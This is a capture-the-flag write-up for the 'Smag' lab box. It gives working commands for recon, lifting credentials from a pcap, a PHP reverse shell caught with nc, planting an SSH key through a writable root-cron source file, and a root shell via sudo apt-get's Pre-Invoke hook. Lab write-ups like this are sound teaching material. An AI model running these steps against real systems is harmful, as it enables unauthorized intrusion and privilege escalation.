SMAG
Chain: a .pcap in a web mail archive leaks login creds → vhost-gated command-exec page → PHP reverse shell as www-data → a root cron that overwrites jake’s authorized_keys → SSH as jake → sudo apt-get to root.
Recon
1nmap -p- --min-rate 5000 -T4 TARGET # full port sweep: only 22 (SSH) and 80 (HTTP)
2gobuster dir -u http://TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt # finds /mail
/mail is an email2web inbox with a pile of messages. One has a downloadable .pcap attachment.
Creds from the capture
Open it in Wireshark, Follow → TCP Stream, and a plaintext POST to /login.php shows the credentials.
Hitting /login.php on the bare IP does nothing. The mail hinted at a vhost, and the box expects development.smag.thm:
1echo "TARGET development.smag.thm" | sudo tee -a /etc/hosts # map the vhost so login.php resolves
With the host header right, the creds log in.
Foothold
The page behind the login is an “execute command” box, but whoami, id, ls all return nothing — output isn’t reflected. It’s still a .php endpoint, so skip the blind box and drop a real shell. Grab a listener, paste the pentestmonkey PHP one-liner:
1nc -lvnp 4444 # catches the shell -> www-data
user.txt isn’t readable as www-data yet.
Privesc — www-data to jake
1cat /etc/crontab
2# * * * * * root /bin/cat /opt/.backups/jake_id_rsa.pub.backup > /home/jake/.ssh/authorized_keys
Every minute, root copies that backup file into jake’s authorized_keys. jake’s home is locked, but the source file in /opt/.backups/ is writable. So put my own public key there and let the cron install it for me.
On the attacker box:
1ssh-keygen -t rsa -f ~/.ssh/smag_key # fresh keypair
2cat ~/.ssh/smag_key.pub # copy this line
On the target, overwrite the backup with my public key:
1echo "ssh-rsa AAAAB3Nza...kali@kali" > /opt/.backups/jake_id_rsa.pub.backup
Within a minute the cron writes it into jake’s authorized_keys:
1ssh -i ~/.ssh/smag_key jake@TARGET # in as jake; read user.txt
Root — sudo apt-get
1sudo -l
2# (ALL : ALL) NOPASSWD: /usr/bin/apt-get
GTFOBins has the escape: apt-get’s pre-invoke hook runs a shell as root.
1sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh # drops a root shell; read root.txt
Lessons
- Packet captures left in an inbox are credentials. Always follow the TCP streams.
- A writable source file feeding a root cron is as good as writing the destination — target the file you can touch, not the one you can’t.
NOPASSWDonapt-getis a one-line root via its pre/post-invoke hooks.
Comments aren't connected yet. Check back soon.